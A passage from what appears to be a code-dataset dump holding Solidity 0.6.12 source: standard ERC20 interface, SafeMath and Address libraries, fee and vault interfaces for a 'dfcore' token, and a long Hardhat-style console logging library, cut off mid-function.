file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
pragma solidity 0.6.12; // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface INBUNIERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Log(string log); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IFeeApprover { function check( address sender, address recipient, uint256 amount ) external returns (bool); function setFeeMultiplier(uint _feeMultiplier) external; function feePercentX100() external view returns (uint); function setTokenUniswapPair(address _tokenUniswapPair) external; function setdfcoreTokenAddress(address _dfcoreTokenAddress) external; function sync() external; function calculateAmountsAfterFee( address sender, address recipient, uint256 amount ) external returns (uint256 transferToAmount, uint256 transferToFeeBearerAmount); function setPaused() external; } interface IdfcoreVault { function addPendingRewards(uint _amount) external; } library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logByte(byte p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(byte)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint 